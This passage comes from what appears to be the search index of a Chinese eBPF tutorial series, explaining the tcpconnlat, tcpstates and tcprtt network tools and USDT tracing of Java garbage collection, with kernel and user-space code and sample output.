{ printf(\"%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); }\n} handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体，包含了之前在内核态计算得到的TCP连接的信息。 首先，它将接收到的事件的时间戳和起始时间戳（如果存在）进行对比，计算出事件的相对时间，并打印出来。接着，根据IP地址的类型（IPv4或IPv6），将源地址和目标地址从网络字节序转换为主机字节序。 最后，根据用户是否选择了显示本地端口，将进程ID、进程名称、IP版本、源IP地址、本地端口（如果有）、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 用户态数据处理","id":"79","title":"用户态数据处理"},"8":{"body":"BCC全称为BPF Compiler Collection，该项目是一个python库， 包含了完整的编写、编译、和加载BPF程序的工具链，以及用于调试和诊断性能问题的工具。 自2015年发布以来，BCC经过上百位贡献者地不断完善后，目前已经包含了大量随时可用的跟踪工具。 其官方项目库 提供了一个方便上手的教程，用户可以快速地根据教程完成BCC入门工作。 用户可以在BCC上使用Python、Lua等高级语言进行编程。 相较于使用C语言直接编程，这些高级语言具有极大的便捷性，用户只需要使用C来设计内核中的 BPF程序，其余包括编译、解析、加载等工作在内，均可由BCC完成。 然而使用BCC存在一个缺点便是在于其兼容性并不好。基于BCC的 eBPF程序每次执行时候都需要进行编译，编译则需要用户配置相关的头文件和对应实现。在实际应用中， 相信大家也会有体会，编译依赖问题是一个很棘手的问题。也正是因此，在本项目的开发中我们放弃了BCC， 选择了可以做到一次编译-多次运行的libbpf-bootstrap工具。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » BCC","id":"8","title":"BCC"},"80":{"body":"$ make\n... BPF .output/tcpconnlat.bpf.o GEN-SKEL .output/tcpconnlat.skel.h CC .output/tcpconnlat.o BINARY tcpconnlat\n$ sudo ./tcpconnlat PID COMM IP SADDR DADDR DPORT LAT(ms)\n222564 wget 4 192.168.88.15 110.242.68.3 80 25.29\n222684 wget 4 192.168.88.15 167.179.101.42 443 246.76\n222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17\n222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat 参考资料： tcpconnlat","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 编译运行","id":"80","title":"编译运行"},"81":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数，然后通过捕获这些函数的调用，从而得到连接建立的起始时间和结束时间，计算出延时。 我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据，从而在 eBPF 程序的多个部分之间共享数据。同时，我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态，以便进一步处理和展示。 在用户态，我们介绍了如何使用 libbpf 库的 API，例如 perf_buffer__poll，来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印，使得它们能以人类可读的形式显示出来。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 总结","id":"81","title":"总结"},"82":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍两个示例程序：tcpstates 和 tcprtt。tcpstates 用于记录 TCP 连接的状态变化，而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT","id":"82","title":"eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT"},"83":{"body":"网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多，包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题，我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间，从而评估网络质量，帮助用户找出可能的问题所在。 当 TCP 链接建立时，tcprtt 会自动根据当前系统的状况，选择合适的执行函数。在执行函数中，tcprtt 会收集 TCP 链接的各项基本信息，如源地址、目标地址、源端口、目标端口、耗时等，并将这些信息更新到直方图型的 BPF map 中。运行结束后，tcprtt 会通过用户态代码，将收集的信息以图形化的方式展示给用户。 tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长，单位为毫秒。例如，对于一个单独的 TCP 会话，tcpstates 可以打印出类似以下的输出： SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373\nffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 以上输出中，最多的时间被花在了 ESTABLISHED 状态，也就是连接已经建立并在传输数据的状态，这个状态到 FIN_WAIT1 状态（开始关闭连接的状态）的转变过程中耗费了 176.042 毫秒。 在我们接下来的教程中，我们会更深入地探讨这两个工具，解释它们的实现原理，希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt 与 tcpstates","id":"83","title":"tcprtt 与 tcpstates"},"84":{"body":"由于篇幅所限，这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码： const volatile bool filter_by_sport = false;\nconst volatile bool filter_by_dport = false;\nconst volatile short target_family = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} sports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} dports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct sock *); __type(value, __u64);\n} timestamps SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(__u32)); __uint(value_size, sizeof(__u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/sock/inet_sock_set_state\")\nint handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)\n{ struct sock *sk = (struct sock *)ctx->skaddr; __u16 family = ctx->family; __u16 sport = ctx->sport; __u16 dport = ctx->dport; __u64 *tsp, delta_us, ts; struct event event = {}; if (ctx->protocol != IPPROTO_TCP) return 0; if (target_family && target_family != family) return 0; if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) return 0; if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) return 0; tsp = bpf_map_lookup_elem(×tamps, &sk); ts = bpf_ktime_get_ns(); if (!tsp) delta_us = 0; else delta_us = (ts - *tsp) / 1000; event.skaddr = (__u64)sk; event.ts_us = ts / 1000; event.delta_us = delta_us; event.pid = bpf_get_current_pid_tgid() >> 32; event.oldstate = ctx->oldstate; event.newstate = ctx->newstate; event.family = family; event.sport = sport; event.dport = dport; bpf_get_current_comm(&event.task, sizeof(event.task)); if (family == AF_INET) { bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); } else { /* family == AF_INET6 */ bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); if (ctx->newstate == TCP_CLOSE) bpf_map_delete_elem(×tamps, &sk); else bpf_map_update_elem(×tamps, &sk, &ts, BPF_ANY); return 0;\n} tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化，从而跟踪 TCP 连接在每个状态下的停留时间。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcpstate","id":"84","title":"tcpstate"},"85":{"body":"在tcpstates程序中，首先定义了几个 BPF Maps，它们是 eBPF 程序和用户态程序之间交互的主要方式。sports和dports分别用于存储源端口和目标端口，用于过滤 TCP 连接；timestamps用于存储每个 TCP 连接的时间戳，以计算每个状态的停留时间；events则是一个 perf_event 类型的 map，用于将事件数据发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 定义 BPF Maps","id":"85","title":"定义 BPF Maps"},"86":{"body":"程序定义了一个名为handle_set_state的函数，该函数是一个 tracepoint 类型的程序，它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时，这个 tracepoint 就会被触发，然后执行handle_set_state函数。 在handle_set_state函数中，首先通过一系列条件判断确定是否需要处理当前的 TCP 连接，然后从timestampsmap 中获取当前连接的上一个时间戳，然后计算出停留在当前状态的时间。接着，程序将收集到的数据放入一个 event 结构体中，并通过bpf_perf_event_output函数将该 event 发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 追踪 TCP 连接状态变化","id":"86","title":"追踪 TCP 连接状态变化"},"87":{"body":"最后，根据 TCP 连接的新状态，程序将进行不同的操作：如果新状态为 TCP_CLOSE，表示连接已关闭，程序将从timestampsmap 中删除该连接的时间戳；否则，程序将更新该连接的时间戳。 用户态的部分主要是通过 libbpf 来加载 eBPF 程序，然后通过 perf_event 来接收内核中的事件数据： static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { char ts[32], saddr[26], daddr[26]; struct event* e = data; struct tm* tm; int family; time_t t; if (emit_timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%8s \", ts); } inet_ntop(e->family, &e->saddr, saddr, sizeof(saddr)); inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr)); if (wide_output) { family = e->family == AF_INET ? 4 : 6; printf( \"%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s \" \"%.3f\\n\", e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); } else { printf( \"%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\\n\", e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); }\n} handle_event就是这样一个回调函数，它会被 perf_event 调用，每当内核有新的事件到达时，它就会处理这些事件。 在handle_event函数中，我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式，然后根据是否需要输出宽格式，分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。 这样，用户就可以清晰地看到 TCP 连接状态的变化，以及每个状态的停留时间，从而帮助他们诊断网络问题。 总结起来，用户态部分的处理主要涉及到了以下几个步骤： 使用 libbpf 加载并运行 eBPF 程序。 设置回调函数来接收内核发送的事件。 处理接收到的事件，将其转换成人类可读的格式并打印。 以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习，你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中，我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 更新时间戳","id":"87","title":"更新时间戳"},"88":{"body":"在本章节中，我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序，它将 RTT 的信息统计到一个 histogram 中。 /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u64); __type(value, struct hist);\n} hists SEC(\".maps\"); static struct hist zero; SEC(\"fentry/tcp_rcv_established\")\nint BPF_PROG(tcp_rcv, struct sock *sk)\n{ const struct inet_sock *inet = (struct inet_sock *)(sk); struct tcp_sock *ts; struct hist *histp; u64 key, slot; u32 srtt; if (targ_sport && targ_sport != inet->inet_sport) return 0; if (targ_dport && targ_dport != sk->__sk_common.skc_dport) return 0; if (targ_saddr && targ_saddr != inet->inet_saddr) return 0; if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) return 0; if (targ_laddr_hist) key = inet->inet_saddr; else if (targ_raddr_hist) key = inet->sk.__sk_common.skc_daddr; else key = 0; histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); if (!histp) return 0; ts = (struct tcp_sock *)(sk); srtt = BPF_CORE_READ(ts, srtt_us) >> 3; if (targ_ms) srtt /= 1000U; slot = log2l(srtt); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); if (targ_show_ext) { __sync_fetch_and_add(&histp->latency, srtt); __sync_fetch_and_add(&histp->cnt, 1); } return 0;\n} 首先，我们定义了一个 hash 类型的 eBPF map，名为hists，它用来存储 RTT 的统计信息。在这个 map 中，键是 64 位整数，值是一个hist结构，这个结构包含了一个数组，用来存储不同 RTT 区间的数量。 接着，我们定义了一个 eBPF 程序，名为tcp_rcv，这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中，我们首先根据过滤条件（源/目标 IP 地址和端口）对 TCP 连接进行过滤。如果满足条件，我们会根据设置的参数选择相应的 key（源 IP 或者目标 IP 或者 0），然后在hists map 中查找或者初始化对应的 histogram。 接下来，我们读取 TCP 连接的srtt_us字段，这个字段表示了平滑的 RTT 值，单位是微秒。然后我们将这个 RTT 值转换为对数形式，并将其作为 slot 存储到 histogram 中。 如果设置了show_ext参数，我们还会将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 通过以上的处理，我们可以对每个 TCP 连接的 RTT 进行统计和分析，从而更好地理解网络的性能状况。 总结起来，tcprtt eBPF 程序的主要逻辑包括以下几个步骤： 根据过滤条件对 TCP 连接进行过滤。 在hists map 中查找或者初始化对应的 histogram。 读取 TCP 连接的srtt_us字段，并将其转换为对数形式，存储到 histogram 中。 如果设置了show_ext参数，将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 tcprtt 挂载到了内核态的 tcp_rcv_established 函数上： void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); 这个函数是在内核中处理TCP接收数据的主要函数，主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用： 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。 收到了乱序的数据包。 期待接收紧急数据。 没有剩余的缓冲区空间。 接收到了意外的TCP标志/窗口值/头部长度（通过检查TCP头部与预设标志进行检测）。 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者（这意味着序列号或确认值必须保持不变）。 接收到了意外的TCP选项。 当这些条件不满足时，它会进入一个标准的接收处理过程，这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证，剩下的情况则需要内联检查。当一切都正常时，快速处理过程会在tcp_data_queue函数中被开启。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt","id":"88","title":"tcprtt"},"89":{"body":"对于 tcpstates，可以通过以下命令编译和运行 libbpf 应用： $ make\n... BPF .output/tcpstates.bpf.o GEN-SKEL .output/tcpstates.skel.h CC .output/tcpstates.o BINARY tcpstates\n$ sudo ./tcpstates SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086\nffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763\nffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 对于 tcprtt，我们可以使用 eunomia-bpf 编译运行这个例子： Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc tcprtt.bpf.c tcprtt.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... 运行： $ sudo ecli run package.json -h\nA simple eBPF program Usage: package.json [OPTIONS] Options: --verbose Whether to show libbpf debug information --targ_laddr_hist Set value of `bool` variable targ_laddr_hist --targ_raddr_hist Set value of `bool` variable targ_raddr_hist --targ_show_ext Set value of `bool` variable targ_show_ext --targ_sport  Set value of `__u16` variable targ_sport --targ_dport  Set value of `__u16` variable targ_dport --targ_saddr  Set value of `__u32` variable targ_saddr --targ_daddr  Set value of `__u32` variable targ_daddr --targ_ms Set value of `bool` variable targ_ms -h, --help Print help -V, --version Print version Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run package.json\nkey = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 4 |******************** | 1024 -> 2047 : 1 |***** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 8 |****************************************| key = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 11 |*************************** | 1024 -> 2047 : 1 |** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 16 |****************************************| 8192 -> 16383 : 4 |********** | 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/14-tcpstates 参考资料： tcpstates tcprtt libbpf-tools/tcpstates","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 编译运行","id":"89","title":"编译运行"},"9":{"body":"eBPF Go库提供了一个通用的eBPF库，它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理，并实现了类似 libbpf 一样的 CO- 功能。eBPF程序通常是通过编写高级语言创建的，然后使用clang/LLVM编译器编译为eBPF字节码。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF Go library","id":"9","title":"eBPF Go library"},"90":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序，监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式，包括如何使用 BPF map 存储数据，如何在 eBPF 程序中获取和处理 TCP 连接信息，以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 总结","id":"90","title":"总结"},"91":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。此外，eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时","id":"91","title":"eBPF 入门实践教程十五：使用 USDT 捕获用户态 Java GC 事件耗时"},"92":{"body":"USDT 是一种在应用程序中插入静态跟踪点的机制，它允许开发者在程序的关键位置插入可用于调试和性能分析的探针。这些探针可以在运行时被 DTrace、SystemTap 或 eBPF 等工具动态激活，从而在不重启应用程序或更改程序代码的情况下，获取程序的内部状态和性能指标。USDT 在很多开源软件，如 MySQL、PostgreSQL、Ruby、Python 和 Node.js 等都有广泛的应用。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » USDT 介绍","id":"92","title":"USDT 介绍"},"93":{"body":"在用户层面进行动态跟踪，即用户级动态跟踪（User-Level Dynamic Tracing）允许我们对任何用户级别的代码进行插桩。比如，我们可以通过在 MySQL 服务器的 dispatch_command() 函数上进行插桩，来跟踪服务器的查询请求： # ./uprobe 'p:cmd /opt/bin/mysqld:_Z16dispatch_command19enum_server_commandP3THDPcj +0(%dx):string'\nTracing uprobe cmd (p:cmd /opt/bin/mysqld:0x2dbd40 +0(%dx):string). Ctrl-C to end. mysqld-2855 [001] d... 19957757.590926: cmd: (0x6dbd40) arg1=\"show tables\" mysqld-2855 [001] d... 19957759.703497: cmd: (0x6dbd40) arg1=\"SELECT * FROM numbers\"\n[...] 这里我们使用了 uprobe 工具，它利用了 Linux 的内置功能：ftrace（跟踪器）和 uprobes（用户级动态跟踪，需要较新的 Linux 版本，例如 4.0 左右）。其他的跟踪器，如 perf_events 和 SystemTap，也可以实现此功能。 许多其他的 MySQL 函数也可以被跟踪以获取更多的信息。我们可以列出和计算这些函数的数量： # ./uprobe -l /opt/bin/mysqld | more\naccount_hash_get_key\nadd_collation\nadd_compiled_collation\nadd_plugin_noargs\nadjust_time_range\n[...]\n# ./uprobe -l /opt/bin/mysqld | wc -l\n21809 这有 21,000 个函数。我们也可以跟踪库函数，甚至是单个的指令偏移。 用户级动态跟踪的能力是非常强大的，它可以解决无数的问题。然而，使用它也有一些困难：需要确定需要跟踪的代码，处理函数参数，以及应对代码的更改。 用户级静态定义跟踪（User-level Statically Defined Tracing, USDT）则可以在某种程度上解决这些问题。USDT 探针（或者称为用户级 \"marker\"）是开发者在代码的关键位置插入的跟踪宏，提供稳定且已经过文档说明的 API。这使得跟踪工作变得更加简单。 使用 USDT，我们可以简单地跟踪一个名为 mysql:query__start 的探针，而不是去跟踪那个名为 _Z16dispatch_command19enum_server_commandP3THDPcj 的 C++ 符号，也就是 dispatch_command() 函数。当然，我们仍然可以在需要的时候去跟踪 dispatch_command() 以及 其他 21,000 个 mysqld 函数，但只有当 USDT 探针无法解决问题的时候我们才需要这么做。 在 Linux 中的 USDT，无论是哪种形式的静态跟踪点，其实都已经存在了几十年。它最近由于 Sun 的 DTrace 工具的流行而再次受到关注，这使得许多常见的应用程序，包括 MySQL、PostgreSQL、Node.js、Java 等都加入了 USDT。SystemTap 则开发了一种可以消费这些 DTrace 探针的方式。 你可能正在运行一个已经包含了 USDT 探针的 Linux 应用程序，或者可能需要重新编译（通常是 --enable-dtrace）。你可以使用 readelf 来进行检查，例如对于 Node.js： # readelf -n node\n[...]\nNotes at offset 0x00c43058 with length 0x00000494: Owner Data size Description stapsdt 0x0000003c NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: gc__start Location: 0x0000000000bf44b4, Base: 0x0000000000f22464, Semaphore: 0x0000000001243028 Arguments: 4@%esi 4@%edx 8@%rdi\n[...] stapsdt 0x00000082 NT_STAPSDT (SystemTap probe descriptors) Provider: node Name: http__client__request Location: 0x0000000000bf48ff, Base: 0x0000000000f22464, Semaphore: 0x0000000001243024 Arguments: 8@%rax 8@%rdx 8@-136(%rbp) -4@-140(%rbp) 8@-72(%rbp) 8@-80(%rbp) -4@-144(%rbp)\n[...] 这就是使用 --enable-dtrace 重新编译的 node，以及安装了提供 \"dtrace\" 功能来构建 USDT 支持的 systemtap-sdt-dev 包。这里显示了两个探针：node:gc__start（开始进行垃圾回收）和 node:http__client__request。 在这一点上，你可以使用 SystemTap 或者 LTTng 来跟踪这些探针。然而，内置的 Linux 跟踪器，比如 ftrace 和 perf_events，目前还无法做到这一点（尽管 perf_events 的支持正在开发中）。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 用户层面的追踪机制：用户级动态跟踪和 USDT","id":"93","title":"用户层面的追踪机制：用户级动态跟踪和 USDT"},"94":{"body":"Java 作为一种高级编程语言，其自动垃圾回收（GC）是其核心特性之一。Java GC 的目标是自动地回收那些不再被程序使用的内存空间，从而减轻程序员在内存管理方面的负担。然而，GC 过程可能会引发应用程序的停顿，对程序的性能和响应时间产生影响。因此，对 Java GC 事件进行监控和分析，对于理解和优化 Java 应用的性能是非常重要的。 在接下来的教程中，我们将演示如何使用 eBPF 和 USDT 来监控和分析 Java GC 事件的耗时，希望这些内容对你在使用 eBPF 进行应用性能分析方面的工作有所帮助。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » Java GC 介绍","id":"94","title":"Java GC 介绍"},"95":{"body":"Java GC 的 eBPF 程序分为内核态和用户态两部分，我们会分别介绍这两部分的实现机制。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » eBPF 实现机制","id":"95","title":"eBPF 实现机制"},"96":{"body":"/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2022 Chen Tao */\n#include \n#include \n#include \n#include \n#include \"javagc.h\" struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 100); __type(key, uint32_t); __type(value, struct data_t);\n} data_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __type(key, int); __type(value, int);\n} perf_map SEC(\".maps\"); __u32 time; static int gc_start(struct pt_regs *ctx)\n{ struct data_t data = {}; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); bpf_map_update_elem(&data_map, &data.pid, &data, 0); return 0;\n} static int gc_end(struct pt_regs *ctx)\n{ struct data_t data = {}; struct data_t *p; __u32 val; data.cpu = bpf_get_smp_processor_id(); data.pid = bpf_get_current_pid_tgid() >> 32; data.ts = bpf_ktime_get_ns(); p = bpf_map_lookup_elem(&data_map, &data.pid); if (!p) return 0; val = data.ts - p->ts; if (val > time) { data.ts = val; bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); } bpf_map_delete_elem(&data_map, &data.pid); return 0;\n} SEC(\"usdt\")\nint handle_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_start(struct pt_regs *ctx)\n{ return gc_start(ctx);\n} SEC(\"usdt\")\nint handle_mem_pool_gc_end(struct pt_regs *ctx)\n{ return gc_end(ctx);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 首先，我们定义了两个映射（map）： data_map：这个 hashmap 存储每个进程 ID 的垃圾收集开始时间。data_t 结构体包含进程 ID、CPU ID 和时间戳。 perf_map：这是一个 perf event array，用于将数据发送回用户态程序。 然后，我们有四个处理函数：gc_start、gc_end 和两个 USDT 处理函数 handle_mem_pool_gc_start 和 handle_mem_pool_gc_end。这些函数都用 BPF 的 SEC(\"usdt\") 宏注解，以便在 Java 进程中捕获到与垃圾收集相关的 USDT 事件。 gc_start 函数在垃圾收集开始时被调用。它首先获取当前的 CPU ID、进程 ID 和时间戳，然后将这些数据存入 data_map。 gc_end 函数在垃圾收集结束时被调用。它执行与 gc_start 